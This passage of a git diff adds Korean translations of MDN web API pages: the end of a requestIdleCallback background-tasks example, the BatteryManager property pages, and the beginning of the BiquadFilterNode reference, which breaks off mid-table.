+<p>DOM 변경은 <code>scheduleStatusRefresh()</code>함수를 호출하여 예약합니다.</p>
+
+<pre class="brush: js">function scheduleStatusRefresh() {
+    if (!statusRefreshScheduled) {
+      requestAnimationFrame(updateDisplay);
+      statusRefreshScheduled = true;
+  }
+}
+</pre>
+
+<p>이것은 간단한 함수입니다. <code>statusRefreshScheduled</code>값을 확인하여 디스플레이 새로고침을 예약했는지 여부를 확인합니다. 만약 <code>false</code> 라면 {{domxref("Window.requestAnimationFrame", "requestAnimationFrame()")}}을 호출하여 새로고침을 예약하고, 해당 작업을 처리하기 위해 <code>updateDisplay()</code> 함수를 호출합니다.</p>
+
+<h5 id="Updating_the_display">Updating the display</h5>
+
+<p><code>updateDisplay()</code> 함수는 progress box의 내용과 로그를 그립니다. 다음 프레임을 렌더링하는 과정에서 변경 사항을 적용하기 위해, DOM이 안전한 상태인 경우 브라우저에서 호출합니다.</p>
+
+<pre class="brush: js">function updateDisplay() {
+  let scrolledToEnd = logElem.scrollHeight - logElem.clientHeight &lt;= logElem.scrollTop + 1;
+
+  if (totalTaskCount) {
+    if (progressBarElem.max != totalTaskCount) {
+      totalTaskCountElem.textContent = totalTaskCount;
+      progressBarElem.max = totalTaskCount;
+    }
+
+    if (progressBarElem.value != currentTaskNumber) {
+      currentTaskNumberElem.textContent = currentTaskNumber;
+      progressBarElem.value = currentTaskNumber;
+    }
+  }
+
+  if (logFragment) {
+    logElem.appendChild(logFragment);
+    logFragment = null;
+  }
+
+  if (scrolledToEnd) {
+      logElem.scrollTop = logElem.scrollHeight - logElem.clientHeight;
+  }
+
+  statusRefreshScheduled = false;
+}</pre>
+
+<p>첫 번째로, 로그의 텍스트가 맨 아래로 스크롤되면 <code>scrolledToEnd</code> 가 <code>true</code> 로 설정됩니다. 그렇지 않으면 <code>false</code>로 설정됩니다. 우리는 이것을 사용하여 컨텐츠에 로그가 추가될 때 마다, 스크롤이 바닥에 유지되도록 스크롤 위치를 업데이트할지 여부를 결정합니다.</p>
+
+<p>다음으로, 태스크가 큐에 들어간 경우 진행 상태 및 상태 정보를 업데이트 합니다.</p>
+
+<ol>
+ <li>진행률 막대의 현재 최대 값이 지금 큐에 대기중인 태스크의 총 개수(<code>totalTaskCount</code>)와 다른 경우, 표시되는 전체 태스크 수(<code>totalTaskCountElem</code>)의 내용과 진행률 막대의 최대 값을 업데이트 합니다. 이 값은 적절하게 비례합니다.</li>
+ <li>지금까지 처리 한 태스크의 수와 동일한 작업을 수행합니다. <code>progressBarElem.value</code>가 현재 처리중인 태스크 넘버(<code>currentTaskNumber</code>)와 다른 경우, 현재 처리중인 태스크와 진행 막대바의 현재 값을 업데이트하여 표시합니다.</li>
+</ol>
+
+<p>그런 다음, 로그에 추가되기를 기다리는 텍스트가 있는 경우(즉, <code>logFragment</code>가 <code>null</code>이 아닌 경우), {{domxref("Node.appendChild", "Element.appendChild()")}}를 사용하여 log 요소(엘리먼트)에 <code>logFragment</code>를 추가합니다. 그 후 <code>logFragment</code> 를 <code>null</code> 로 설정하여 다시 추가하지 않도록합니다.</p>
+
+<p>시작했을 때 로그가 끝까지 스크롤 되면, 우리는 여전히 로그를 확인할 수 있습니다. 그런 다음 <code>statusRefreshScheduled</code> 를 <code>false</code>로 설정하여 새로고침을 처리했으며, 새 것을(태스크를) 요청하는것이 안전하다는 것을 표시합니다.</p>
+
+<h4 id="Adding_text_to_the_log">Adding text to the log</h4>
+
+<p><code>log()</code> 함수는 지정된 텍스트를 로그에 추가합니다. DOM을 바로 수정하는것이 안전한지 아닌지 <code>log()</code> 함수가 호출될때 우리는 알지 못합니다. 때문에 업데이트가 안전할 때 까지 로그 텍스트를 캐싱합니다. 위의 <code>updateDisplay</code><code>()</code> 코드에서, 애니메이션 프레임이 업데이트 될 때 실제로 로그 요소에 기록된 텍스트를 추가하는 코드를 찾을 수 있습니다.</p>
+
+<pre class="brush: js">function log(text) {
+  if (!logFragment) {
+      logFragment = document.createDocumentFragment();
+  }
+
+  let el = document.createElement("div");
+  el.innerHTML = text;
+  logFragment.appendChild(el);
+}
+</pre>
+
+<p>먼저, 지금은 존재하지 않는 <code>logFragment</code>라는 {{domxref("DocumentFragment")}}객체를 생성합니다. 이 요소는 메인 DOM 자체를 즉시 변경하지 않고, 요소를 삽입할 수 있는 pseudo-DOM 입니다.</p>
+
+<p>그런 다음 새로운 {{HTMLElement("div")}} 요소를 만들고, 내용을 입력 <code>text</code>와 일치하도록 설정합니다. 그리고나서 <code>logFragment</code>에 있는 pseudo-DOM의 끝에 새 요소를 추가합니다. DOM에 대한 변경 때문에, <code>logFragment</code>는 <code>updateDisplay()</code>가 호출 될 때까지 로그 항목을 누적합니다.</p>
+
+<h3 id="Running_tasks_2">Running tasks</h3>
+
+<p>이제 우리는 태스크 관리 및 출력 유지보수 코드를 완성했습니다. 실제로 작업을 완료하는 태스크를 실행하기 위한 설정을 시작할 수 있습니다.</p>
+
+<h4 id="The_task_handler">The task handler</h4>
+
+<p>우리가 태스크 핸들러—즉, 태스크 객체의 <code>handler</code> 속성(property) 값으로 사용할 함수—로 사용할 함수는 <code>logTaskHandler()</code> 입니다. 이것은 각 태스크에 대한 로그에 많은 내용을 출력하는 간단한 함수입니다. 만약 우리가 원한다면, 우리의 어플리케이션에서 이 코드를 유휴 시간(idle time)동안 수행하는 작업으로 대체할 수 있습니다. 단지, DOM을 변경해야 하는 작업은 {{domxref("Window.requestAnimationFrame", "requestAnimationFrame()")}}을 통해 처리해야한다는 것을 기억해야합니다.</p>
+
+<pre class="brush: js">function logTaskHandler(data) {
+  log("&lt;strong&gt;Running task #" + currentTaskNumber + "&lt;/strong&gt;");
+
+  for (i=0; i&lt;data.count; i+=1) {
+    log((i+1).toString() + ". " + data.text);
+  }
+}
+</pre>
+
+<h4 id="The_main_program">The main program</h4>
+
+<p>사용자가 시작 버튼을 클릭하면 <code>decodeTechnoStuff()</code> 함수가 호출되며 모든것이 시작됩니다.</p>
+
+<div class="hidden">
+<p>The <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random?document_saved=true#Getting_a_random_integer_between_two_values_inclusive">getRandomIntInclusive()</a></code> method comes from the examples for {{jsxref("Math.random()")}}; we'll just link to it below but it needs to be included here for the example to work.</p>
+
+<pre class="brush: js">function getRandomIntInclusive(min, max) {
+  min = Math.ceil(min);
+  max = Math.floor(max);
+  return Math.floor(Math.random() * (max - min + 1)) + min;
+}
+</pre>
+</div>
+
+<pre class="brush: js">function decodeTechnoStuff() {
+  totalTaskCount = 0;
+  currentTaskNumber = 0;
+  updateDisplay();
+
+  let n = getRandomIntInclusive(100, 200);
+
+  for (i=0; i&lt;n; i++) {
+    let taskData = {
+      count: getRandomIntInclusive(75, 150),
+      text: "This text is from task number " + (i+1).toString() + " of " + n
+    };
+
+    enqueueTask(logTaskHandler, taskData);
+  }
+}
+
+document.getElementById("startButton").addEventListener("click", decodeTechnoStuff, false);</pre>
+
+<p><code>decodeTechnoStuff()</code>가 시작하면 <code>totalTaskCount</code>(현재까지 큐에 추가된 태스크의 수)의 값과 <code>currentTaskNumber</code>(현재 실행중인 태스크의 수) 값을 0으로 설정합니다. 그리고 <code>updateDisplay()</code>를 호출하여 "아직 아무일도 일어나지 않았습니다(nothing's happened yet)" 상태로 재설정합니다.</p>
+
+<p>이 예제에서는 임의의 수의 태스크(100개에서 200개 사이)를 만듭니다. 이를 위해 우리는 {{jsxref("Math.random()")}}에 대한 문서에서 예제로 제공되는, <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Math/random?document_saved=true#Getting_a_random_integer_between_two_values_inclusive"><code>getRandomIntInclusive()</code> 함수</a>를 사용하여 생성할 태스크 수를 얻습니다.</p>
+
+<p>그런 다음 루프를 시작하여 실제 태스크를 만듭니다. 각 태스크마다 두 개의 속성(property)이 포함된 <code>taskData</code>객체를 만듭니다:</p>
+
+<ul>
+ <li><code>count</code> 는 태스크에서 로그로 출력할 문자열 수입니다.</li>
+ <li><code>text</code> 는 <code>count</code>로 지정된 횟수만큼 로그에 출력하는 텍스트입니다.</li>
+</ul>
+
+<p>그러면 각 태스크는 <code>enqueueTask()</code>를 호출하여 대기열에 추가되고 <code>logTaskHandler</code><code>()</code>가 핸들러 함수로 전달됩니다. 함수가 호출될 때 함수에 전달할 객체로 <code>taskData</code> 객체를 사용합니다.</p>
+
+<dl>
+</dl>
+
+<h3 id="Result">Result</h3>
+
+<p>아래는 위 코드의 실제 작동 결과입니다. 사용해보고, 브라우저의 개발자 도구에서 사용하고, 코드에서도 직접 사용해 보세요.</p>
+
+<p>{{ EmbedLiveSample('Example', 600, 700) }}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Background Tasks")}}</td>
+   <td>{{Spec2("Background Tasks")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.Window.requestIdleCallback")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Window.requestIdleCallback()")}}</li>
+ <li>{{domxref("Window.cancelIdleCallback()")}}</li>
+ <li>{{domxref("IdleDeadline")}}</li>
+</ul>
diff --git a/files/ko/web/api/batterymanager/charging/index.html b/files/ko/web/api/batterymanager/charging/index.html
new file mode 100644
index 0000000000..711a305781
--- /dev/null
+++ b/files/ko/web/api/batterymanager/charging/index.html
@@ -0,0 +1,117 @@
+---
+title: BatteryManager.charging
+slug: Web/API/BatteryManager/charging
+translation_of: Web/API/BatteryManager/charging
+---
+<div>{{APIRef("Battery API")}}</div>
+
+<p>현재 배터리가 충전중인지를 나타내는 Boolean 값 입니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">var <em>charging</em> = battery.charging</pre>
+
+<p><code>charging</code> 변수는 배터리가 충전 중인지의 여부를 가져옵니다. 충전중일경우<code> </code><code>true</code>. 이외에는 <code>false </code>를 가리킵니다.</p>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;div id="charging"&gt;(charging state unknown)&lt;/div&gt;</pre>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js; highlight:[3]">navigator.getBattery().then(function(battery) {
+
+    var charging = battery.charging;
+
+    document.querySelector('#charging').textContent = charging ;
+});</pre>
+
+<p>{{ EmbedLiveSample('Example') }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Battery API")}}</td>
+   <td>{{Spec2("Battery API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(39.0)}}</td>
+   <td>{{CompatGeckoDesktop("10")}} {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{CompatGeckoMobile("10")}} {{property_prefix("moz")}}<br>
+    {{CompatGeckoMobile("16")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>25<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(42.0)}}<sup>[2]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Disabled by default in Firefox 10.0, but can be enabled setting the preference <code>dom.battery.enabled</code> to <code>true</code>. Starting with Firefox 11.0, <code>mozBattery</code> is enabled by default. The Battery API is currently supported on Android, Windows, and Linux with UPower installed. Support for MacOS is available starting with Gecko 18.0 {{geckoRelease("18.0")}}. Firefox also provide support for the deprecated {{domxref("navigator.battery")}}.</p>
+
+<p>[2] Values for {{domxref("BatteryManager.chargingTime")}} and {{domxref("BatteryManager.dischargingTime")}} are always equal to <code>Infinity</code>.</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("BatteryManager")}}</li>
+ <li>{{domxref("Navigator.getBattery")}}</li>
+</ul>
diff --git a/files/ko/web/api/batterymanager/chargingtime/index.html b/files/ko/web/api/batterymanager/chargingtime/index.html
new file mode 100644
index 0000000000..7b823afb4b
--- /dev/null
+++ b/files/ko/web/api/batterymanager/chargingtime/index.html
@@ -0,0 +1,74 @@
+---
+title: BatteryManager.chargingTime (배터리관리기 충전시간)
+slug: Web/API/BatteryManager/chargingTime
+tags:
+  - API
+  - Battery API
+  - 목적
+  - 참조
+translation_of: Web/API/BatteryManager/chargingTime
+---
+<div>{{obsolete_header}}</div>
+
+<p>{{APIRef("Battery API")}}</p>
+
+<p>몇 초 단위로, 배터리가 완전히 충전될 때까지 남은 시간량을 가리킵니다.</p>
+
+<div class="note">
+<p>반환되는 시간이 정확하더라도, 개인정보보호 정책 사유로 브라우저들이 더 큰 간격(대개 15분)으로 시간량을 반올림합니다.</p>
+</div>
+
+<pre class="syntaxbox notranslate">var <em>time</em> = battery.chargingTime</pre>
+
+<p>반환되는 중에, 건전지가 완전히 충전될 때까지 또는 이미 완전히 충전되어 있다면 0이 될 때까지  <code>time</code> 은 몇 초 뒤에 남게 되는 시간입니다. 이는 {{domxref("BatteryManager")}} object (객체),입니다. 배터리의 전류가 방전되어 있다면, 이 값은 <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity">Infinity</a></code>, 즉 무한 값이 됩니다.</p>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<h3 id="HTML_콘텐츠">HTML 콘텐츠</h3>
+
+<pre class="brush: html notranslate">&lt;div id="chargingTime"&gt;(charging time unknown)&lt;/div&gt;
+</pre>
+
+<h3 id="자바언어_콘텐츠">자바언어 콘텐츠</h3>
+
+<pre class="brush: js; highlight:[3] notranslate">navigator.getBattery().then(function(battery) {
+
+   var time = battery.chargingTime;
+
+   document.querySelector('#chargingTime').textContent = battery.chargingTime;
+});
+</pre>
+
+<p>{{ EmbedLiveSample('Example', '100%', 30) }}</p>
+
+<h2 id="설명서">설명서</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">사양 (설명)</th>
+   <th scope="col">상태 (설명)</th>
+   <th scope="col">관련 (설명)</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Battery API")}}</td>
+   <td>{{Spec2("Battery API")}}</td>
+   <td>최초 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">이 페이지와 호환되는 표가 구조화된 데이터에서 생성되게 됩니다. 당신이 이 데이터에 이바지하기를 원한다면, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 를검토해보시고, 우리에게 여러가지 요청을 보내보세요.</div>
+
+<p>{{Compat("api.BatteryManager.chargingTime")}}</p>
+
+<h2 id="같이_보세요">같이 보세요</h2>
+
+<ul>
+ <li>{{domxref("BatteryManager")}}</li>
+ <li>{{domxref("Navigator.getBattery")}}</li>
+</ul>
diff --git a/files/ko/web/api/batterymanager/dischargingtime/index.html b/files/ko/web/api/batterymanager/dischargingtime/index.html
new file mode 100644
index 0000000000..c7165c7a52
--- /dev/null
+++ b/files/ko/web/api/batterymanager/dischargingtime/index.html
@@ -0,0 +1,71 @@
+---
+title: BatteryManager.dischargingTime (배터리관리기 방전시간)
+slug: Web/API/BatteryManager/dischargingTime
+translation_of: Web/API/BatteryManager/dischargingTime
+---
+<div>{{obsolete_header}}</div>
+
+<div>{{APIRef("Battery API")}}</div>
+
+<p>몇 초 단위로, 배터리가 완전히 방전될 때까지 남은 시간량을 가리킵니다.</p>
+
+<div class="note">
+<p>반환되는 시간이 정확하더라도, 개인정보보호 정책 사유로 브라우저들이 더 큰 간격(대개 15분)으로 시간량을 반올림합니다.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>time</em> = battery.dischargingTime</pre>
+
+<p>반환되는 중에, <code>time</code> 은 {{domxref("BatteryManager")}} object(객체)인 <code><em>battery</em></code> 가 완전히 방전되고 시스템이 중단되는 몇 초 뒤에 남게 되는 시간입니다.  배터리가 현재 방전되기보다 충전되거나 시스템이 남은 방전 시간을 보고할 수 없다면, 이 값은 무한 값입니다.</p>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<h3 id="HTML_콘텐츠">HTML 콘텐츠</h3>
+
+<pre class="brush: html">&lt;div id="dischargingTime"&gt;(discharging time unknown)&lt;/div&gt;
+</pre>
+
+<h3 id="자바언어_콘텐츠">자바언어 콘텐츠</h3>
+
+<pre class="brush: js;  highlight:[3]">navigator.getBattery().then(function(battery) {
+
+    var time = battery.dischargingTime;
+
+    document.querySelector('#dischargingTime').textContent = battery.dischargingTime;
+});
+</pre>
+
+<p>{{ EmbedLiveSample('Example', '100%', 30) }}</p>
+
+<h2 id="설명서">설명서</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">사양 (설명)</th>
+   <th scope="col">상태 (설명)</th>
+   <th scope="col">비고</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Battery API")}}</td>
+   <td>{{Spec2("Battery API")}}</td>
+   <td>최초 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">이 페이지와 호화되는 표는 구조화된 데이터에서 생성됩니다. 당신이 데이터에 기여하기를 원한다면, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 를 검토하시고서 우리에게 여러모로 요청을 보내보세요.</div>
+
+<p>{{Compat("api.BatteryManager.dischargingTime")}}</p>
+
+<h2 id="같이_보세요">같이 보세요</h2>
+
+<ul>
+ <li>{{domxref("BatteryManager")}}</li>
+ <li>{{domxref("Navigator.getBattery")}}</li>
+</ul>
diff --git a/files/ko/web/api/batterymanager/index.html b/files/ko/web/api/batterymanager/index.html
new file mode 100644
index 0000000000..13ca755062
--- /dev/null
+++ b/files/ko/web/api/batterymanager/index.html
@@ -0,0 +1,74 @@
+---
+title: BatteryManager
+slug: Web/API/BatteryManager
+translation_of: Web/API/BatteryManager
+---
+<p>{{ApiRef()}}</p>
+
+<p><strong><code>BatteryManager</code></strong> 인터페이스는 시스템의 배터리 충전 상태에 대한 정보를 확인 하는 방법을 제공합니다.</p>
+
+<p>{{domxref("window.navigator.battery","navigator.battery")}} 프로퍼티는 Battery Status API와 상호작용 할 수 있는 <code>BatteryManager 인터페이스의 </code>인스턴스를 반환합니다.</p>
+
+<h2 id="프로퍼티">프로퍼티</h2>
+
+<dl>
+ <dt>{{domxref("BatteryManager.charging")}} {{ReadOnlyInline}}</dt>
+ <dd>배터리가 현재 충전 중인지 여부를 Boolean 값으로 나타냅니다.</dd>
+ <dt>{{domxref("BatteryManager.chargingTime")}} {{ReadOnlyInline}}</dt>
+ <dd>배터리가 완전히 충전되기 까지 남은 시간을 초로 표현합니다. 0 이면 이미 배터리의 충전이 완료 된 상황 입니다.</dd>
+ <dt>{{domxref("BatteryManager.dischargingTime")}} {{ReadOnlyInline}}</dt>
+ <dd>배터리가 완전히 방전되고 시스템이 중지 될 때까지의 남은 시간을 초로 표현 합니다.</dd>
+ <dt>{{domxref("BatteryManager.level")}} {{ReadOnlyInline}}</dt>
+ <dd>배터리의 충전 상태를 0.0 에서 1.0 사이의 값으로 표현 합니다.</dd>
+</dl>
+
+<h3 id="이벤트_핸들러">이벤트 핸들러</h3>
+
+<dl>
+ <dt>{{domxref("BatteryManager.onchargingchange")}}</dt>
+ <dd>{{event("chargingchange")}} 이벤트의 핸들러 입니다. 이 이벤트는 배터리 충전 상태가 변경될 때 발생합니다.</dd>
+ <dt>{{domxref("BatteryManager.onchargingtimechange")}}</dt>
+ <dd>{{event("chargingtimechange")}} 이벤트의 핸들러 입니다. 이 이벤트는 배터리 충전 시간이 변경될 때 발생합니다.</dd>
+ <dt>{{domxref("BatteryManager.ondischargingtimechange")}}</dt>
+ <dd>{{event("dischargingtimechange")}} 이벤트의 핸들러 입니다. 이 이벤트는 배터리 방전 시간이 변경될 때 발생합니다.</dd>
+ <dt>{{domxref("BatteryManager.onlevelchange")}}</dt>
+ <dd>{{event("levelchange")}} 이벤트의 핸들러 입니다. 이 이벤트는 배터리 수준 상태가 변경 될 때 발생합니다.</dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<p>Inherited from {{domxref("EventTarget")}}:</p>
+
+<p>{{domxref("EventTarget")}} 으로 부터 상속을 받습니다:</p>
+
+<p>{{page("/en-US/docs/Web/API/EventTarget","Methods")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Battery API')}}</td>
+   <td>{{Spec2('Battery API')}}</td>
+   <td>초기 명세</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.BatteryManager")}}</p>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li>{{ domxref("window.navigator.battery","navigator.battery") }}</li>
+ <li><a href="/ko/docs/WebAPI/Battery_Status" title="/en-US/docs/WebAPI/Battery_Status">Battery Status API</a></li>
+</ul>
diff --git a/files/ko/web/api/biquadfilternode/index.html b/files/ko/web/api/biquadfilternode/index.html
new file mode 100644
index 0000000000..55cd1dfa4d
--- /dev/null
+++ b/files/ko/web/api/biquadfilternode/index.html
@@ -0,0 +1,249 @@
+---
+title: BiquadFilterNode
+slug: Web/API/BiquadFilterNode
+translation_of: Web/API/BiquadFilterNode
+---
+<p>{{APIRef("Web Audio API")}}</p>
+
+<div>
+<p><span class="seoSummary">The <code>BiquadFilterNode</code> interface represents a simple low-order filter, and is created using the {{ domxref("AudioContext.createBiquadFilter()") }} method. It is an {{domxref("AudioNode")}} that can represent different kinds of filters, tone control devices, and graphic equalizers.</span> A <code>BiquadFilterNode</code> always has exactly one input and one output.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Number of inputs</th>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Number of outputs</th>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Channel count mode</th>
+   <td><code>"max"</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Channel count</th>
+   <td><code>2</code> (not used in the default count mode)</td>
+  </tr>
+  <tr>
+   <th scope="row">Channel interpretation</th>
+   <td><code>"speakers"</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("BiquadFilterNode.BiquadFilterNode", "BiquadFilterNode()")}}</dt>
+ <dd>Creates a new instance of an <code>BiquadFilterNode</code> object.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Inherits properties from its parent, </em><em>{{domxref("AudioNode")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("BiquadFilterNode.frequency")}}</dt>
+ <dd>Is an <a href="/en-US/docs/Web/API/AudioParam#a-rate">a-rate</a> {{domxref("AudioParam")}}, a double representing a frequency in the current filtering algorithm measured in hertz (Hz).</dd>
+ <dt>{{domxref("BiquadFilterNode.detune")}}</dt>
+ <dd>Is an <a href="/en-US/docs/Web/API/AudioParam#a-rate">a-rate</a> {{domxref("AudioParam")}} representing detuning of the frequency in <a class="external external-icon" href="http://en.wikipedia.org/wiki/Cent_%28music%29">cents</a>.</dd>
+ <dt>{{domxref("BiquadFilterNode.Q")}}</dt>
+ <dd>Is an <a href="/en-US/docs/Web/API/AudioParam#a-rate">a-rate</a> {{domxref("AudioParam")}}, a double representing a <a href="http://en.wikipedia.org/wiki/Q_factor" title="http://en.wikipedia.org/wiki/Q_factor">Q factor</a>, or <em>quality factor</em>.</dd>
+ <dt>{{domxref("BiquadFilterNode.gain")}} {{readonlyInline}}</dt>
+ <dd>Is an <a href="/en-US/docs/Web/API/AudioParam#a-rate">a-rate</a> {{domxref("AudioParam")}}, a double representing the <a href="http://en.wikipedia.org/wiki/Gain" title="http://en.wikipedia.org/wiki/Gain">gain</a> used in the current filtering algorithm.</dd>
+ <dt>{{domxref("BiquadFilterNode.type")}}</dt>
+ <dd>Is a string value defining the kind of filtering algorithm the node is implementing.<br>
+
+ <table class="standard-table">
+  <caption>The meaning of the different parameters depending of the type of the filter (detune has the same meaning regardless, so isn't listed below)</caption>
+  <thead>
+   <tr>
+    <th scope="row"><code>type</code></th>
+    <th scope="col">Description</th>
+    <th scope="col"><code>frequency</code></th>
+    <th scope="col"><code>Q</code></th>
+    <th scope="col"><code>gain</code></th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <th scope="row"><code>lowpass</code></th>
+    <td>12dB/octave의 롤오프를 가진 표준 2차 공진 로우패스 필터입니다. 컷오프 이하의 주파수는 통과하며 그 이상의 주파수는 감쇠합니다.</td>
+    <td>컷오프 주파수</td>
+    <td>컷오프 부근에서 주파수의 피크가 얼마나 큰지 나타냅니다. 값이 클수록 피크가 커집니다.</td>
+    <td><em>Not used</em></td>
+   </tr>
+   <tr>
+    <th scope="row"><code>highpass</code></th>
+    <td>12dB/octave의 롤오프를 가진 표준 2차 공진 하이패스 필터입니다. 컷오프 이하의 주파수는 감쇠하며 그 이상의 주파수는 통과합니다.</td>
+    <td>컷오프 주파수</td>
+    <td>컷오프 부근에서 주파수의 피크가 얼마나 큰지 나타냅니다. 값이 클수록 피크가 커집니다.</td>
+    <td><em>Not used</em></td>
+   </tr>
+   <tr>
+    <th scope="row"><code>bandpass</code></th>
+    <td>표준 2차 밴드패스 필터입니다. 주어진 주파수 대역 바깥의 주파수는 감쇠되며, 이내의 주파수는 통과합니다.</td>
+    <td>주파수 대역의 중앙</td>
+    <td>주파수 대역의 폭을 조정합니다. Q값이 클수록 주파수 대역은 작아집니다.</td>
+    <td><em>Not used</em></td>
+   </tr>
+   <tr>
+    <th scope="row"><code>lowshelf</code></th>
+    <td>표준 2차 로우쉘프 필터입니다. 기준 주파수보다 낮은 주파수는 증폭되거나 감쇠됩니다. 그 이상의 주파수는 변하지 않습니다.</td>
+    <td>증폭이나 감쇠를 얻는 주파수의 상한값</td>
+    <td><em>Not used</em></td>
+    <td>적용할 증폭(단위 : dB), 음수이면 감쇠됩니다.</td>
+   </tr>
+   <tr>
+    <th scope="row"><code>highshelf</code></th>
+    <td>표준 2차 하이쉘프 필터입니다. 기준 주파수보다 큰 주파수는 증폭되거나 감쇠됩니다. 그 이하의 주파수는 변하지 않습니다.</td>
+    <td>증폭이나 감쇠를 얻는 주파수의 하한값</td>
+    <td><em>Not used</em></td>
+    <td>적용할 증폭(단위 : dB), 음수이면 감쇠됩니다.</td>
+   </tr>
+   <tr>
+    <th scope="row"><code>peaking</code></th>
+    <td>대역 내의 주파수는 증폭되거나 감쇠됩니다. 바깥의 주파수는 변하지 않습니다.</td>
+    <td>증폭이나 감쇠를 얻는 주파수 대역의 중앙</td>
+    <td>주파수 대역의 폭을 조정합니다. Q값이 클수록 주파수 대역은 작아집니다.</td>
+    <td>적용할 증폭(단위 : dB), 음수이면 감쇠됩니다.</td>
+   </tr>
+   <tr>
+    <th scope="row"><code>notch</code></th>
+    <td>밴드 스톱, 혹은 밴드 리젝션으로 불리는 표준 <a href="http://en.wikipedia.org/wiki/Band-stop_filter" title="/en-US/docs/">notch</a> 필터입니다. 이는 밴드패스 필터와 반대입니다. 주어진 대역폭 바깥의 주파수는 통과하며, 안쪽의 주파수는 감쇠합니다.</td>
+    <td>주파수 대역의 중앙</td>
+    <td>주파수 대역의 폭을 조정합니다. Q값이 클수록 주파수 대역은 작아집니다.</td>
+    <td><em>Not used</em></td>
+   </tr>
+   <tr>
+    <th scope="row"><code>allpass</code></th>
+    <td>표준 2차 <a href="http://en.wikipedia.org/wiki/All-pass_filter#Digital_Implementation" title="/en-US/docs/">allpass</a> 필터입니다. 이는 모든 주파수를 통과시키지만, 가변 주파수 사이의 위상 관계를 변화시킵니다.</td>
+    <td>최대 <a href="http://en.wikipedia.org/wiki/Group_delay_and_phase_delay" title="/en-US/docs/">group delay</a>를 갖는 주파수, 즉 위상 전이 발생의 중심에 있는 주파수입니다.</td>
